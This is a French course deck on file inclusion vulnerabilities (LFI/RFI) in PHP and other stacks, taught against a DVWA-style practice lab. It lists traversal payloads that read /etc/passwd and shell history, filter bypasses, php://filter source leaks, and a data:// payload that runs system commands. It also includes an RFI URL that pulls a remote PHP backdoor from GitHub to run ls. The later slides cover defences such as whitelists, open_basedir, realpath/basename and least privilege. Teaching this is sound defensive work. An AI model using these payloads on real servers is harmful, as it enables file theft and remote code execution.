Charles Olivier-Anclin
charles.olivier-anclin@uca.fr
perso.isima.fr/~chaolivi

Clermont Auvergne INP
Université Clermont Auvergne

File Inclusion

LFI / RFI

Une donnée devient un chemin



Où	Le paramètre devient un chemin
PHP	`include("views/" . $_GET['page'] . ".php")`
Flask	`send_file("docs/" + request.args["file"])`
JSP	`dispatcher.forward("views/" + page)`
Express	`res.sendFile("static/" + req.query.page)`
Nginx	`location /files { alias /data/; }`

Le point commun

La chaîne venue du navigateur est interprétée comme un **chemin**, parfois comme du **code** : le serveur ne sait pas que page était une donnée.

Une famille de failles

Ce que ça permet

- lire des fichiers sensibles ;
- lire le **code source** du site ;
- exécuter du code **local** ou **distant**.

LFI — Local File Inclusion

Le paramètre désigne un fichier **du serveur**. Très fréquent : téléchargements, vues, templates, serveurs statiques.

RFI — Remote File Inclusion

Le paramètre désigne une **URL**. Rare, et largement spécifique à PHP : `allow_url_include=On` (off par défaut).

Le point commun

Une entrée non fiable atteint un accès au système de fichiers sans être séparée d'un **chemin**.

- paramètres HTTP non filtrés

```php
include($_REQUEST['filename']);
```

- permet
  - d'exécuter du code distant ;
  - d'exécuter du code localement ;
  - d'accéder à des fichiers locaux sensibles.
- concerne `include`, `include_once`, `require`, `require_once`, `fopen`



Faire exécuter du code source malicieux à un serveur Web.

- Local File Inclusion (LFI)
- Remote File Inclusion (RFI)

- souvent appelé **Directory traversal**
- permet d'accéder à des fichiers sensibles
  - `http://dv.wa/vulnerabilities/fi/?page=/etc/passwd`
- marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history`…
- ne marche pas avec `/etc/shadow`

LFI / low : paths absolus et relatifs

- paths absolus / paths relatifs (`../..` ou `..\..`)
- linux : `/etc/passwd`, `../../../../../etc/hosts`
- windows : `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
- `http://dv.wa/vulnerabilities/fi/?page=index.php`
  - boucle infinie = ça marche
  - invalidé par `include_once` et `require_once`

- inclusion de code arbitraire : **backdoor** ou **remote shell**
- dépend de la configuration de PHP : `/etc/php/7.4/apache2/php.ini`

```
allow_url_include=On   ; just for test purpose
```

```
$ sudo systemctl restart apache2
```

Attention

Certains produits PHP nécessitent cette option !

- `http://dv.wa/vulnerabilities/fi/?page=http://perdu.com`
  - drôle mais pas très utile
- généralement, permet d'exécuter du code et/ou des commandes systèmes
  - version artisanale ...
  - version plus robuste :
    - `https://github.com/dberliner/php-backdoor`,
    - `http://www.r57shell.net/`

RFI / payloads : backdoor en action

- `http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php` ✓
- `http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls` ✗
- `http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls` ✓

Le séparateur

`?c=ls` fait partie de l'URL incluse ; `&c=ls` est un paramètre de la requête victime.

RFI / security medium

```php
$file = str_replace(
    array( "http://", "https://" ),
    "",
    $file
);
```

- `http://dv.wa/vulnerabilities/fi/?page=hthttp://tp://www.google.fr`
  - échapper l'échappement
- `http://dv.wa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php`
  - récupère le code source PHP du fichier `file1.php`
- `http://dv.wa/vulnerabilities/fi/?page=data://text/plain; base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=`
  - exécute `<?php system("hostname"); ?>`

LFI / security medium

```
$file = str_replace(
    array( "../", "..\\" ),
    "",
    $file
);
```

- `http://dv.wa/vulnerabilities/fi/?page=../../../../../etc/hosts`
  - ne fonctionne plus
- `http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././.././etc/hosts`
  - permet d'échapper l'échappement
- `http://dv.wa/vulnerabilities/fi/?page=/etc/passwd`
  - les paths absolus fonctionnent toujours

LFI / security high

```php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
```

- accès au fichier caché : `http://dv.wa/vulnerabilities/fi/?page=file4.php`
- wrapper `file` : `http://dv.wa/vulnerabilities/fi/?page=file:///etc/hosts`
- le dossier `file` n'existe pas mais PHP le résout tout de même : `http://dv.wa/vulnerabilities/fi/?page=file/../../../../../../etc/hosts`

Section 1 : **Se protéger**

Eviter de passer un chemin

```php
// vulnerable : le client choisit le fichier
include("views/" . $_GET['page'] . ".php");
// defendu : liste blanche + indirection
$pages = array(
"accueil" => "home.php",
"contact" => "contact.php",
);
include($pages[$_GET['page']] ?? $pages["accueil"
    ]);
```

Moindre privilège

Les requettes sont executés avec les **privilège de l'utilisateur** executant le site web.

Le principe

Comme les **requêtes préparées** pour le SQL : la valeur est une **clé de recherche** dans une liste définie par le code, jamais un chemin.

Transpositions

Flask / JSP : une route = une vue. Express : `res.render(id)` sur catalogue fermé. Téléchargements : un **ID** en base, jamais le nom du fichier.

- `open_base_dir` : limite les opérations sur les fichiers à une arborescence de répertoires spécifiée
- à l'appel de fonctions de type `require_once` ou `fopen`
  - le chemin vers le fichier est analysé
    - si le fichier est à l'extérieur des dossiers spécifiés : PHP refuse d'y accéder ;
    - les liens symboliques sont résolus : il n'est pas possible d'outre-passer cette restriction avec un lien symbolique.

open_base_dir : valeur typique

- `.` inclut le fichier lui-même : problématique si on change le dossier courant avec `chdir()`

```
/var/www/:/usr/share/php:/tmp
```

realpath() + basename() : valider le chemin

```php
// vulnerable
$username = $_GET['user'];
$filename = "/home/users/".$username.".txt";
readfile($filename);
```

```php
// securise : realpath() + basename()
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username.".txt";
readfile($filename);
```

Les deux fonctions

- `realpath()` : convertit `.` et `..` en chemin absolu, retourne **null** si le chemin n'existe pas ;
- `basename()` : ne garde que le nom du fichier, les `../` disparaissent.

Limite

Ne protège pas d'une LFI **dans le même répertoire** : la vraie défense est la liste blanche.

- désactiver `allow_url_include` (déprécié)
- utiliser `open_base_dir`
- désactiver l'exécution de PHP sur les répertoires exposés qui n'en ont pas besoin (cf. le cours *upload*)
- filtrer ses entrées
  - par listes blanches ;
  - avec `realpath()` et `basename()`.

La règle d'or

La valeur du paramètre ne doit jamais être un chemin : c'est une **clé de recherche** dans une liste blanche définie par le code.